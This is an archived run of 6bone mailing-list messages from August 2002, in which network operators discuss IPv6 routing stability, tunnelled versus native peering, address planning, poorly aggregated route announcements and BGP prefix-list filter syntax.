> This idea could be used by organisations who are close to
> each other geographically and by hop count ... something
> vaguely like multihoming, without violating RFC 2772.
> 
> Having 4 well-connected (to each other) sites participate
> in the same pTLA and same BGP confederation could make the
> 6bone traffic more reliable for both the sites themselves
> and the peers they transit for.
> 
> Performance can be regained later when the sites move to
> native ipv6 links.

Well, this concept is already tested on 6bone - it's exactly what we do inside
XS26 (now almost even with the last paragraph :).

-- 
 
				Petr "Pasky" Baudis
 
* ELinks maintainer                * IPv6 guy (XS26 co-coordinator)
* IRCnet operator                  * FreeCiv AI occassional hacker
.
You can get much further with a kind word and a gun than you can with a
kind word alone. -- Al Capone
.
Public PGP key && geekcode && homepage: http://pasky.ji.cz/~pasky/

From michel@arneill-py.sacramento.ca.us Thu Aug  1 00:03:00 2002
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> Petr Baudis wrote:

I think that Petr's post is a very good summary.

> This is wild world and natural processes mostly rule
> this world. Basically, I believe that unreliability of
> the IPv6 internet is generally caused by the fact that
> it does not run native, but tunnelled through IPv4.

It's not the only reason, though. The fact that the 6bone is free does
not help, and I have to say that I am not going to get up in the middle
of the night to troubleshoot a 6bone problem.

> And people tend to create peerings through tunnels even
> with peers they have poor latency to etc. It's not the
> 2001::/16 what saves you, it's the unwritten (?) rule
> that native links usually live inside 2001::/16 and
> tunnels inside 3ffe::/16.

This is very true.

Michel.

> As people continue with establishing of native IPv6
> links and peerings, the situation improves and the
> native peering usually tends to be much more stable and
> reliable than the peering through tunnels, especially
> when driven on some official base (and this is also
> another difference between IPv4 and IPv6, IPv4 peerings
> are protected by various contracts and agreements,
> being ran on commercial base; IPv6 usually aren't
> [altough there are obviously exceptions already]).
> And as the time goes on, people obviously tend to
> sacrifice the tunnel peerings for native ones and the
> reliability improves. The natural process. You can
> obviously push it a lot by preferring native peerings
> before the tunneled ones, and this should probably
> become another written unwritten rule.

> This has been said before already in few mails
> undirectly, this mail is meant generally as a summary
> of that view (not the only one here, obviously, just
> the one I agree with).


From michel@arneill-py.sacramento.ca.us Thu Aug  1 00:07:53 2002
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> John Fraizier wrote:
> What I gather from the above, is that the 6bone, for all
> intents and purposes, is 3ffe::/16.  No production services
> living on 3ffe::/16, no problem.  "Production" in my book
> is COMMERCIAL.

In mine too.

> If you define "6bone" otherwise, please explain.  If you
> define production otherwise (in the context of 6bone vs
> production) please explain.

I think that the 6bone is a little more than 3ffe::/16. What exactly I;m
not completely sure.

BTW, I was curious about the 6bone meeting in Yokohama, as there have
been talks with the RIRs. Did I miss the minutes?

Michel.


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> Ronald van der Pol wrote:
> Look at the OS mailing lists. End users are disabling
> IPv6 in their OS because it does not work.

It does not work because there is no killer app, and no money to make it
work. Especially in the US, the common thinking is "why bother with
IPv6?" It does not bring money, and does not solve much of the v4
issues.


> We don't need a stable IPv6 network tomorrow. We need it today.

Your $10 Billion donation to build it is appreciated.


> Or is it becoming a network for doing IPv6 related
> experiments?

It has always been, IMHO.

> We may need such a network in the next few years for doing
> (possibly disruptive) testing (multihoming, completely new
> addressing and/or routing, etc.)

And we *will* need these experiments.

How do you expect IPv6 to be stable without a multihoming solution? A
significant part of the crap we see in the routing table is the direct
consequence of the lack of a multihoming solution.

It all comes down to money. No operator is going to build an IPv6
infrastructure without knowing the outcome of the multihoming solution,
as they don't want to do the job twice, especially when there is no
money to pay for it.

Michel.


From joao@ripe.net Thu Aug  1 01:14:59 2002
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Date: Thu, 1 Aug 2002 10:14:37 +0200
To: Philip Smith <pfs@cisco.com>, Nick Kraal <nick@arc.net.my>
From: Joao Luis Silva Damas <joao@ripe.net>
Subject: Re: [6bone] semi-newbie Q on IPv6 address planning
Cc: 6bone@mailman.isi.edu
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At 7:43 +1000 1/8/02, Philip Smith wrote:
>Nick,
>
>In addition to the other answers:
>
>rfc2374 is basically out of date - the terminology and boundaries 
>referring to TLA, NLA etc are not applicable any more. So, your /32 
>is yours to subdivide as you wish - the minimum amount you give to 
>any site is a /48, you use /64 for point-to-point links (and as 
>Michel said, pick a /48 block to number your p-t-p links out of - 
>which gives you 65k p-t-ps).


Indeed, and that is my concern. The experts are referring people to 
outdated documents describing features that in some cases the WG has 
dropped *years* ago (TLA, NLA, the 8 bit reserved field).

Why not point people to draft-ietf-ipngwg-addr-arch-v3-08.txt and 
have the WG get that doc to be an RFC as soon as possible.

And by the way, a /126 is perfect for Point-to-point and yes, we also 
reserve a /48 to carve bits and pieces for these purposes. We use a 
/48 because that way things are kept consistent and operational 
errors are minimised (and keeping my netowrk operational is far more 
important than any other consideration).

Joao

From nick@arc.net.my Thu Aug  1 02:41:26 2002
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Date: Thu, 01 Aug 2002 17:41:42 +0800
From: Nick Kraal <nick@arc.net.my>
Subject: Re: [6bone] semi-newbie Q on IPv6 address planning
To: 6bone@mailman.isi.edu
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Many thanks to all for valuable advice given on this area.

Basically it seems that the NLA boundary, the RES field, etc have
depreciated and we are kinda free to allocate prefix lengths in these
fields - RFC2374 Section 3.4 says it nicely.

   The design of an NLA ID allocation plan is a tradeoff between routing
   aggregation efficiency and flexibility.  Creating hierarchies allows
   for greater amount of aggregation and results in smaller routing
   tables.  Flat NLA ID assignment provides for easier allocation and
   attachment flexibility, but results in larger routing tables.

So here I am design a network plan either incorporating hierarchical
information (e.g. core, geographical PoP, customer type, etc) or simply
designing a 'whack-flat' network assigning addresses as the customer or core
design requirements arise.

So more thinking needs to be done here on this. It is a 50-50% decision, but
we don't want to take left when later on signs later on show that  we should
have taken right -sigh.

-nick/

----- Original Message -----
From: "Nick Kraal" <nick@arc.net.my>
To: <6bone@mailman.isi.edu>
Sent: Wednesday, July 24, 2002 7:34 PM
Subject: [6bone] semi-newbie Q on IPv6 address planning


> I heard that this mailing-list holds the most experienced IPv6 prefix and
IP
> address allocation planners. I am in the middle of deploying our IPv6
> network and in some mental block when it comes to IP address prefix
> planning. Basically we have been allocated a /32 from APNIC and need some
> advice/pointers in further allocating IPv6 addresses and prefixes.
>
> Have read RFC2373/2374/3177 on this. Basically  we plan to allocate /48
for
> end-customers and /40 for our pNLA customers. So basically for a /48
> allocation I have the full 16 bits to play around with and for a /40
> allocation only 8 bits leaving the last 8 bits in this field for the pNLA
to
> assign to their end customers. The end customers in both cases allocate
> further networks in the SLA field. Reading on the web there are many
methods
> or allocating these bits ranging from allocating some bits:
>
> a. differentiate core from customer networks e.g. between /40, /48, /64
> b. geographical PoP sites and further bits to do point a. above
>
> Have looked at the websites on this for SLAC, Stanford and Internet2,
> Abilene. Are there any BCPs out there advising on this or are we on our
own.
> I have worked something out based on the information from the
Internet -but
> looks quite dodgy.
>
> Do we have to stick to allocating in lots of 8 bits? Is a /44 allocation
> valid? And what is a /126 allocation for a point-to-point link? I thought
> the last /64 is reserved for the EUI-64 interface ID.
>
> Would appreciate any pointers/hints/websites/etc on this.
>
> -nick/
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone


From ipng@uni-muenster.de Thu Aug  1 02:48:55 2002
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From: Christian Schild <ipng@uni-muenster.de>
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Organization: Westfaelische Wilhelms-Universitaet
To: Petr Baudis <pasky@pasky.ji.cz>,
   Ronald van der Pol <Ronald.vanderPol@rvdp.org>
Subject: Re: [6bone] Re: routing concern
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Am Mittwoch, 31. Juli 2002 23:39 schrieb Petr Baudis:
> Dear diary, on Wed, Jul 31, 2002 at 11:03:55PM CEST, I got a letter,
> where Ronald van der Pol <Ronald.vanderPol@rvdp.org> told me, that...
>
> > On Wed, Jul 31, 2002 at 22:01:07 +0200, Petr Baudis wrote:
> > > And as the time goes on, people obviously tend to sacrifice the
> > > tunnel peerings for native ones and the reliability improves. The
> > > natural process.
> >
> > This is what we have been trying to do for the last couple of
> > years, but without much success. The 6bone is still too unstable.
> > Look at the OS mailing lists. End users are disabling IPv6 in
> > their OS because it does not work.
> >
> > We don't need a stable IPv6 network tomorrow. We need it today.
> > I doubt if we can make the 6bone stable very soon.
>
> Again, this is not problem of 6bone, but problem of its users. They must
> move from tunnel peerings to native peerings, and then they will also move
> from 6bone. When you will cut out 6bone, you will just force them to move
> all their tunnelled links etc to 2001::/16 space, polluting it terribly,
> making it impossible to distinguish Bad Peers and Good Peers easily. And
> you will just make situation worse in another part of IPv6 internet.

As others pointed out, stability has nothing to do with native or tunneled
connections. The point I want to make is, that we have no time to wait 
for the 6bone to become stable, be it either by evolving native peerings or 
by educating it's users how to filter and to route. 

In fact, I don't believe it is possible at all to stabilize the 6bone. It is 
marked 'experimental'. People come and go in the 6bone, new players will
do nasty stuff as 'it is only experimental'. Black holes will never go away, 
because new people want to 'learn' in the 6bone, how to run an IPv6 network. 
Learning implies making mistakes. 

Thinking of this, I believe it is vital to detach the production network 
from the 6bone _now_, and it is also vital to show everyone whats the 
difference.

'You have an 3ffe:: prefix? well, then don't expect anything.' 
'Yes, 2001:: should be better, but we can't guarantee that our (production) 
peering partners, won't use routes through the 6bone.' 
The second sentence _should_ say 'Yes, 2001:: is better, it's production'.
To achieve this I would like to urge every ISP not to mix up their 2001:: 
prefix with 3ffe::, and to encourage them to detach it from the 6bone. 
If this would become a general rule how to play in the 6bone, I believe a 
stable production network is possible. 


Their is one drawback. 
Todays IPv6 network _is_ the 6bone. If I want to reach someone, I often 
have to traverse the 6bone. So most times I like to consider the 6bone 
as the 'IPv6 backbone'. I want to use a 'productive' route, but sometimes 
only a route through the 6bone is possible. It's a kind of last resort 
for reachability. 

Complete detachment of the 6bone is not possible today, as we lack of 
productive connectivity. But we could use the 6bone as seldom as possible.

Considering an ISP with a 6bone node and one or more peerings to a 2001__ 
neighbor, that would require some preferences set for a productive route 
from the productive neighbor, or a lower preference for routes coming from 
the 6bone. Then the ISP shouldn't accept or announce 3ffe:: routes to its 
peering partners and should only use his own 6bone node for 6bone 
connectivity. This way the ISP could reach every possible IPv6 network and 
if possible I will use a route through my productive peerings. Ok, my peering
partners still could route through the 6bone, but if he uses the same rules
like me, that won't happen. 

This method may only be a starting point for discussion. I'm sure there 
are other ways to detach the 6bone (partly) from the productive network. 


Christian

-- 
JOIN - IP Version 6 in the WiN  Christian Schild
                 A DFN project  Westfaelische Wilhelms-Universitaet Muenster
Project Team email:             Zentrum fuer Informationsverarbeitung
          join@uni-muenster.de  Roentgenstrasse 9-13
http://www.join.uni-muenster.de D-48149 Muenster / Germany
email: schild@uni-muenster.de,phone: +49 251 83 31638, fax: +49 251 83 31653

From rvdp@kirk.rvdp.org Thu Aug  1 03:17:49 2002
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Date: Thu, 1 Aug 2002 12:17:46 +0200
From: Ronald van der Pol <Ronald.vanderPol@rvdp.org>
To: Bill Manning <bmanning@ISI.EDU>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] Re: routing concern
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On Wed, Jul 31, 2002 at 14:15:45 -0700, Bill Manning wrote:

> 	To borrow a line from the v6 panel at the last IETF,
> 	"what can you do with v6 that you can't do with v4?"

I can give all my computers at home a globally unique address.

If I can choose between two providers, one of which offers
v6, I choose the one that offers v6. Even when it costs more.
It's up to the marketing people to figure out how many there
are like me and how much we want to pay extra.

	rvdp

From sp@iphh.net Thu Aug  1 03:38:08 2002
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From: "Sascha E. Pollok" <sp@iphh.net>
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Subject: [6bone] native field in ipv6site object?
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Hi there,

the Nokia 6Bone-DB says, that there is (or should be)
a native: field in the ipv6site object. Viagenie's
tool says there is not and the DB does not accept
any native: field either.

From my point of view it would be good to be
able to document native links beside the tunnel 
links in the ipv6site-object, too. Is there
any story behind this or any further information
on how to document native links?

We do not think that it is currently a good and
convenient choice to document IPv6 native peerings
in the appropriate RADBs aut-num objects.

Anyone?

Thanks
Sascha

---
 Sascha E. Pollok
 AS12731
 sp@iphh.net


From jeroen@unfix.org Thu Aug  1 04:46:52 2002
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Subject: [6bone] In the summer time, we got cleaning to do... Where is UUNET?
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It's thursday again, so on with the Summer Cleaning,
the rain is pouring down here luckily so that should wash some thing
away;

8<-------------
See http://www.merit.edu/ipma for a more detailed report on routing 
problems and recommendations on ways service providers can limit the 
spread of invalid routing information.
Send comments and questions to ipma-support@merit.edu

To unsubscribe from this list, send mail to 
    6bone-routing-report-request@merit.edu.
A hypermail archive is available at
    http://www.merit.edu/mail.archives/html/6bone-routing-report/

Also see http://www.caida.org for more information about Internet 
statistics collection research efforts.

---------------------------------------------
This report is for 07/31/02, peering with
  VIAGENIE (AS10566)  UUNET-US (AS12199)  CICNET (AS1225)   (AS13676)
UNAM (AS278)  MIT-SIPB (AS3)  TELEBIT (AS3263)  ETRI (AS3748)  CERNET
(AS4538)  SPRINT (AS6175)  STEALTH (AS8002)  INTEC (AS9612)
---------------------------------------------

Size of 6Bone Routing Table:
    Max = 292, Min = 283, Average = 290
    117 pTLAs (in 3ffe::/16), 134 sTLAs (in 2001::/16)
    220 Unique Autonomous System (AS) numbers

BGP4+ Traffic Summary:  
    Announcements = 4717    Withdraws = 1091   Unique Routes = 306

----->8

Poorly Aggregated Announcements (>24 in 3ffe:0000::/18 or >28 in
3ffe:8000::/17 or >32 in 3ffe:4000::/18  or >35 in 2001::/16):
Format: Prefix path AS-Path (Origin-AS -- Availability)
 asterisk(*) means the route is within its pTLA
--------------------------------
UUNET-US (AS12199) announced 22 route(s)
    3ffe:28ff:ffff:4::103/127 path 12199 (UUNET-US -- 58%)
    3ffe:28ff:ffff:4::100/127 path 12199 (UUNET-US -- 58%)
    3ffe:28ff:ffff:4::101/127 path 12199 (UUNET-US -- 100%)
    3ffe:28ff:ffff:4::102/127 path 12199 (UUNET-US -- 100%)
  * 3ffe:8090:7f00:1::1:0/112 path 12199 (UUNET-US -- 100%)
  * 3ffe:8090:7f00:1::2:0/112 path 12199 (UUNET-US -- 100%)
    3ffe:3800::10:0/112 path 12199 (UUNET-US -- 100%)
    3ffe:3800::13:0/112 path 12199 (UUNET-US -- 100%)
  * 3ffe:8090:4800:cfff::b:0/112 path 12199 (UUNET-US -- 100%)
  * 3ffe:8090:4800:4fff::2:0/112 path 12199 (UUNET-US -- 100%)
  * 3ffe:8090:48fc:10::1:0/112 path 12199 (UUNET-US -- 100%)
  * 3ffe:8090:4800:cfff::9:0/112 path 12199 (UUNET-US -- 100%)
    3ffe:3800::11:0/112 path 12199 (UUNET-US -- 100%)
    3ffe:3800::12:0/112 path 12199 (UUNET-US -- 100%)
  * 3ffe:8090:4800:cfff::7:0/112 path 12199 (UUNET-US -- 100%)
  * 3ffe:8090:4800:cfff::3:0/112 path 12199 (UUNET-US -- 100%)
  * 3ffe:8090:4800:cfff::1:0/112 path 12199 (UUNET-US -- 100%)
  * 3ffe:8090:4800:c005::/64 path 12199 (UUNET-US -- 100%)
  * 3ffe:8090:4800:4e20::/64 path 12199 (UUNET-US -- 100%)
  * 3ffe:8090:4800:c000::/64 path 12199 (UUNET-US -- 100%)
  * 3ffe:8090:4800:ce50::/60 path 12199 (UUNET-US -- 100%)
  * 3ffe:8090:4800:ce10::/60 path 12199 (UUNET-US -- 100%)
---------->8
Hello, Earth to UUNET... anybody there?
/127, /112, /64, /60... great guys, now back to the aggregation school.
They account for the first 5 CC's.

8<----------
CERNET (AS4538) announced 3 route(s)
    3ffe:80b0:100::/48 path 4538 13226 (STBEN-BE -- 100%)
    3ffe:1200:3028::/48 path 4538 6939 (LJOSA/HURRICANE -- 100%)
    3ffe:2b00:1003::/48 path 4538 15180 (DIVEO-BR -- 99%)

CHELLO (AS6830) announced 2 route(s)
    3ffe:8034::/34 path 12199 145 4554 5609 6830 1853 (COSY -- 13%)
    3ffe:82bf::/32 path 12199 145 4554 6939 6830 24643 (NEXTGEN-LAB --
93%)
8<-----------
That's better, but still no cigar:

inet6num:     3FFE:8030::/28
netname:      QTPVSIX
descr:        pTLA delegation for the 6bone
country:      DK

inet6num:     3FFE:82B0::/28
netname:      WEBONLINE-NET
descr:        WebOnline AS
country:      NO

----------->8
INR (AS2895) announced 2 route(s)
  * 3ffe:2406::/32 path 12199 145 11537 786 109 109 2895 20515 ( -- 93%)
  * 3ffe:240b::/32 path 12199 145 11537 786 109 109 2895 13032 (KUN-6 --
93%)
--------->8
inet6num:     3FFE:2400::/24
netname:      INR
descr:        pTLA delegation for the 6bone

One could aggregate those _easily_, they are even from your own block,
no excuse.

8<--------
UUNET-NL (AS1890) announced 1 route(s)
    2001:600:8::/48 path 4538 1890 (UUNET-NL -- 99%)
--------->8
UUNet from the Netherlands, naughty... CC'd.

8<--------
ISI-LAP (AS4554) announced 1 route(s)
    3ffe:2c03::/32 path 12199 145 4554 6939 2012
(ELTE-INF/MADNET/RIEB/PSZFB-NET/KOMJATA-KOLL/NEXCOM/DUNE/JGYTF/T-NET/STA
JI/PR -- 85%)
--------->8
Nice long path we got there...

inet6num:     3FFE:2C00::/24
netname:      BT-LABS
descr:        pTLA delegation for the 6bone
country:      GB

No cigar either

8<---------
ENTERZONE (AS13944) announced 1 route(s)
  * 3ffe:1ced::/32 path 12199 145 4554 13944 (ENTERZONE -- 93%)
---------->8
At least we know the reason of this one.

8<--------
ASNET (AS9264) announced 1 route(s)
    3ffe:3600:18::/48 path 3263 1275 5623 786 109 109 4618 9264 (ASNET
-- 99%)
-------->8
inet6num:     3FFE:3600::/24
netname:      CHTTL-TW
descr:        pTLA delegation for the 6bone
country:      TW

Thou shalt not spam thou /48's to me.

8<--------
SPACENET-DE (AS5539) announced 1 route(s)
    3ffe:2640::/32 path 12199 145 4554 5539 3561 790 6793 (TELIAFI --
93%)
FUNET (AS1741) announced 1 route(s)
    3ffe:2620::/32 path 12199 145 4554 5539 3561 790 1741 (FUNET -- 93%)
--------->8
inet6num:     3FFE:2600::/24
netname:      SMS
descr:        pTLA delegation for the 6bone
country:      FI

These should be a /24...

8<---------
JOIN (AS1275) announced 1 route(s)
    3ffe:2100:1:17::/64 path 4538 1275 (JOIN -- 97%)
--------->8
inet6num:     3FFE:2100::/24
netname:      JANET
descr:        pTLA delegation for the 6bone
country:      GB

Leaking JANET routes....

I think there was some less disturbance in the force than last week
which is good.
The thing that's not good is the fact that UUNET didn't even reply, so
more CC:'s for them.
Next week, when they won't reply, I'll start the daily campaign just for
them ;)

Just to make sure everybody gets it again:
8<--------------------
3ffe::/18 ge 24 le 24
3ffe:4000::/18 ge 32 le 32
3ffe:8000::/20 ge 28 le 28
2000::/3 ge 16 le 16
2001::/16 ge 29 le 35
2002::/16 ge 16 le 48

or as seen on 6bone.net:
3ffe:0000::/24 thru 3ffe:3f00::/24	/24
3ffe:4000::/32 thru 3ffe:7fff::/32	/32
3ffe:8000::/24 thru 3ffe:83f0::/24	/28

3ffe:8400::/32 thru 3ffe:ffff::/32 can be filtered
out completely as it will be unassigned for a long time to come.

RIR space (2001::/16) will become /32 only in the long run.
-------------------->8

IPv6 - Just keep it clean, filter.

Greets,
 Jeroen


From jeroen@unfix.org Thu Aug  1 05:13:29 2002
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To: <6bone@ISI.EDU>
Cc: <ipv6ops@eng.us.uu.net>, <cross@eng.us.uu.net>, <netops@ENG.US.UU.NET>
Date: Thu, 1 Aug 2002 14:11:12 +0200
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Subject: [6bone] RE: In the summer time, we got cleaning to do... Where is UUNET?
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UUNet is not home?

inet6num:     3FFE:8090::/28
netname:      UUNET-US
descr:        pTLA delegation for the 6bone
country:      US
admin-c:      UIO1-6BONE
tech-c:       UIO1-6BONE
remarks:      This object is automatically converted from the RIPE181
registry
notify:       ipv6ops@eng.us.uu.net
notify:       cross@eng.us.uu.net
mnt-by:       MNT-UUNET-US
changed:      cross@eng.us.uu.net 20000427
changed:      auto-dbm@whois.6bone.net 20010117
source:       6BONE

person:       Chris P. Ross
address:      UUNET Technologies, Inc.
phone:        +1 703 206 5600
fax-no:       +1 703 206 5601
e-mail:       cross@eng.us.uu.net
e-mail:       cross@uu.net
nic-hdl:      CR487
remarks:      This object is automatically converted from the RIPE181
registry
notify:       cross@eng.us.uu.net
changed:      cross@eng.us.uu.net 19990113
changed:      auto-dbm@whois.6bone.net 20010117
source:       6BONE

But:
8<----------
The original message was received at Thu, 1 Aug 2002 11:46:51 GMT
from localhost [127.0.0.1]

   ----- The following addresses had permanent fatal errors -----
<cross@uu.net>

   ----- Transcript of session follows -----
... while talking to imr2.ash.ops.us.uu.net. [153.39.43.15]:
>>> RCPT To:<cross@uu.net>
<<< 550 <cross@uu.net>... User unknown
550 <cross@uu.net>... User unknown
---------->8

That kinda explains....
Now hope that somebody else is reading the ivp6ops@eng.us.uu.net
mailbox.

8<-------------------------------------
role:         UUNET IPv6 Operations
address:      UUNET Technologies, Inc.
              22001 Loudoun County Parkway
              Ashburn, VA  20147
e-mail:       ipv6ops@eng.us.uu.net
admin-c:      CR487
tech-c:       CR487
nic-hdl:      UIO1-6BONE
remarks:      Email address for administration of the UUNET-US 6bone
connection
remarks:      This object is automatically converted from the RIPE181
registry
url:          http://wwwwww.eng.us.uu.net/
notify:       ipv6ops@eng.us.uu.net
changed:      cross@eng.us.uu.net 20000330
changed:      auto-dbm@whois.6bone.net 20010117
source:       6BONE
------------------------------------->8

wwwwww.eng.us.uu.net    AAAA    3FFE:8090:4800:C005:0:0:0:5
wwwwww.eng.us.uu.net A record currently not present

jeroen@purgatory:~$ telnet wwwwww.eng.us.uu.net 80
Trying 3ffe:8090:4800:c005::5...
telnet: Unable to connect to remote host: Network is unreachable

jeroen@purgatory:~$ traceroute6 3FFE:8090:4800:C005:0:0:0:5
traceroute to 3FFE:8090:4800:C005:0:0:0:5 (3ffe:8090:4800:c005::5) from
3ffe:8114:1000::27, 30 hops max, 16 byte packets
 1  tunnel-026.ipng.nl (3ffe:8114:1000::26)  20.601 ms  22.503 ms
22.858 ms
 2  Amsterdam.core.ipv6.intouch.net (2001:6e0::2)  23.611 ms  21.237 ms
20.251 ms
 3  3ffe:80a0:0:f001::2 (3ffe:80a0:0:f001::2)  111.014 ms  104.275 ms
103.597 ms
 4  3ffe:80c0:200:5::7 (3ffe:80c0:200:5::7)  158.897 ms  163.591 ms
158.522 ms
 5  wwwwww.eng.us.uu.net (3ffe:8090:4800:c005::5)  194.54 ms
3ffe:1cff:0:ee::2 (3ffe:1cff:0:ee::2)  193.433 ms wwwwww.eng.us.uu.net
(3ffe:8090:4800:c005::5)  206.382 ms
 6  wwwwww.eng.us.uu.net (3ffe:8090:4800:c005::5)  199.338 ms  199.018
ms  194.855 ms

www.eng.us.uu.net       A       208.228.2.110

Trying 208.228.2.110...
telnet: Unable to connect to remote host: Connection refused

Way to go...

Anybody with a sign of life of UUNET-US ?

Greets,
 Jeroen


From jeroen@unfix.org Thu Aug  1 06:13:45 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Michel Py'" <michel@arneill-py.sacramento.ca.us>
Cc: <6bone@ISI.EDU>
Subject: Yokohama Minutes (Was: RE: [6bone] Re: routing concern)
Date: Thu, 1 Aug 2002 15:11:24 +0200
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Michel Py wrote:

> BTW, I was curious about the 6bone meeting in Yokohama, as there have
> been talks with the RIRs. Did I miss the minutes?

I picked up the following from the ietf list;
Nothing more afaik though...

Greets,
 Jeroen

-----Original Message-----
From: owner-ietf@ietf.org [mailto:owner-ietf@ietf.org] On Behalf Of
Randy Bush
Sent: Wednesday, 31 July 2002 06:22
To: ietf
Subject: yokohame iesg plenary ipv6 panel presentations


the ipv6 panel presentations are available in pdf at

   <http://psg.com/~randy/020717.iesg-plenary/>

of course we hope they will be in the proceedings as well.  i have
bcc:d minutes@ietf.org.

randy


From jeroen@unfix.org Thu Aug  1 06:17:17 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Sascha E. Pollok'" <sp@iphh.net>, <6bone@ISI.EDU>
Subject: RE: [6bone] native field in ipv6site object?
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Sascha E. Pollok wrote:

> the Nokia 6Bone-DB says, that there is (or should be)
> a native: field in the ipv6site object. Viagenie's
> tool says there is not and the DB does not accept
> any native: field either.
> 
> From my point of view it would be good to be
> able to document native links beside the tunnel 
> links in the ipv6site-object, too. Is there
> any story behind this or any further information
> on how to document native links?

$ whois 3ffe:8114::/32

inet6num:     3FFE:8114::/32
netname:      INTOUCH-V6-IPNG
descr:        IPng IPv6 deployment.
              Amsterdam Internet Exchange.
<SNIP>
tunnel:       IPv6 in IPv6 amsix-nikhef.ipv6.intouch.net ->
ir4.Amsterdam.surf.net SURFNET BGP4+
tunnel:       IPv6 in IPv6 amsix-nikhef.ipv6.intouch.net ->
rtr6.ams-ix.net AMSIX BGP4+
tunnel:       IPv6 in IPv6 amsix-nikhef.ipv6.intouch.net ->
ams-ix.ipv6.ebone.net EBONE BGP4+
tunnel:       IPv6 in IPv6 amsix-nikhef.ipv6.intouch.net ->
6b1.ams7.nl.uu.net UUNET-NL BGP4+
tunnel:       IPv6 in IPv6 amsix-nikhef.ipv6.intouch.net ->
ams-ix.xr1.sara.xs4all.net XS4ALL-NL BGP4+
tunnel:       IPv6 in IPv6 amsix-nikhef.ipv6.intouch.net ->
Amsterdamv6.ripe.net RIPE-NCC BGP4+
tunnel:       IPv6 in IPv6 amsix-nikhef.ipv6.intouch.net ->
ams-ix.ntt6.net AS4697 BGP4+
tunnel:       IPv6 in IPv6 amsix-nikhef.ipv6.intouch.net ->
telecity.ams-ix.ipv6.network.bit.nl NL-BIT6 BGP4+
remarks:      The 'tunnels' above are actually native IPv6 peering at
the AMS-v6-IX.
<SNIP>

That's the way it works, no other way afaik is possible atm.

> We do not think that it is currently a good and
> convenient choice to document IPv6 native peerings
> in the appropriate RADBs aut-num objects.

RIPE is working on RPSL extension support for IPv6.
Afaik it's nearing completion.

Greets,
 Jeroen


From tvo@EnterZone.Net Thu Aug  1 06:41:02 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Jeroen Massar <jeroen@unfix.org>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] In the summer time, we got cleaning to do... Where is
 UUNET?
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> Just to make sure everybody gets it again:
> 8<--------------------
> 3ffe::/18 ge 24 le 24
> 3ffe:4000::/18 ge 32 le 32
> 3ffe:8000::/20 ge 28 le 28
> 2000::/3 ge 16 le 16
> 2001::/16 ge 29 le 35
> 2002::/16 ge 16 le 48
> 

I'll gladly tighten up/replace our filters:

ipv6 prefix-list subTLA-only seq 5 deny 2001::/16 ge 36
ipv6 prefix-list subTLA-only seq 10 deny 3ffe::/18 ge 25
ipv6 prefix-list subTLA-only seq 15 deny 3ffe:4000::/18 ge 33
ipv6 prefix-list subTLA-only seq 20 deny 3ffe:8000::/22 ge 29
ipv6 prefix-list subTLA-only seq 25 permit ::/0 ge 1


With these:

ipv6 prefix-list test1 seq 5 permit 3ffe::/18 ge 24 le 24
ipv6 prefix-list test1 seq 10 permit 3ffe:4000::/18 ge 32 le 32
ipv6 prefix-list test1 seq 15 permit 3ffe:8000::/20 ge 28 le 28
ipv6 prefix-list test1 seq 20 permit 2000::/3 ge 16 le 16
ipv6 prefix-list test1 seq 25 permit 2001::/16 ge 29 le 35
ipv6 prefix-list test1 seq 500 deny any

...if someone can tell me what to do here:

Border2-BGP(config)# ipv6 prefix-list test1 seq 30 permit 2002::/16 ge 16 le 48
% Invalid prefix range for 2002::/16, make sure: len < ge-value <= le-value


Any suggestions are greatly appreciated!


---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



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John Fraizer [mailto:tvo@EnterZone.Net] wrote:

> Border2-BGP(config)# ipv6 prefix-list test1 seq 30 permit 
> 2002::/16 ge 16 le 48
> % Invalid prefix range for 2002::/16, make sure: len < ge-value <=
le-value

You could interpret that message as:

"PrefixLen" should be smaller than the greatest which should be
smaller/equal the smallest.
In this case:

16 < 16 <= 48

Your router bugs, it should do: 16 <= 16 <= 48
other-way-around logic: le <= prefixlen <= ge
or in this case: 16 <= 16 <= ge

Greets,
 Jeroen


From pekkas@netcore.fi Thu Aug  1 06:58:55 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Michel Py <michel@arneill-py.sacramento.ca.us>
cc: Ronald van der Pol <Ronald.vanderPol@rvdp.org>, <6bone@ISI.EDU>
Subject: RE: [6bone] Re: routing concern
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On Thu, 1 Aug 2002, Michel Py wrote:
> It all comes down to money. No operator is going to build an IPv6
> infrastructure without knowing the outcome of the multihoming solution,
> as they don't want to do the job twice, especially when there is no
> money to pay for it.

Network operators don't really care about multihoming; they already have 
it by becoming "pTLA/sTLA".

Getting customers is another issue, though.

However, enterprises not going for IPv6 "because" of a lack of multihoming
solutions is, in most cases, just a good excuse.  If not for multihoming,
there would be something else; usually only rather big corporations
multihome using BGP + multiple advertisements, or similar other techniques 
like more specific routes.

Many don't even (need to) know what multihoming means.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From itojun@itojun.org Thu Aug  1 07:09:57 2002
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>...if someone can tell me what to do here:
>Border2-BGP(config)# ipv6 prefix-list test1 seq 30 permit 2002::/16 ge 16 le 48
>% Invalid prefix range for 2002::/16, make sure: len < ge-value <= le-value
>Any suggestions are greatly appreciated!

	you wouldn't want to allow 2002::/16 le 48.  there should be 2002::/16,
	nothing else.  see 6to4 RFC.

itojun

From itojun@itojun.org Thu Aug  1 07:15:04 2002
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Subject: Re: Yokohama Minutes (Was: RE: [6bone] Re: routing concern) 
From: itojun@iijlab.net
Date: Thu, 01 Aug 2002 23:15:00 +0900
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>> BTW, I was curious about the 6bone meeting in Yokohama, as there have
>> been talks with the RIRs. Did I miss the minutes?
>I picked up the following from the ietf list;
>Nothing more afaik though...
>the ipv6 panel presentations are available in pdf at
>   <http://psg.com/~randy/020717.iesg-plenary/>

	this one is totally separate from 6bone meeting.  Bob, do you have
	you slides online?

itojun

From tvo@EnterZone.Net Thu Aug  1 07:20:39 2002
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From: John Fraizer <tvo@EnterZone.Net>
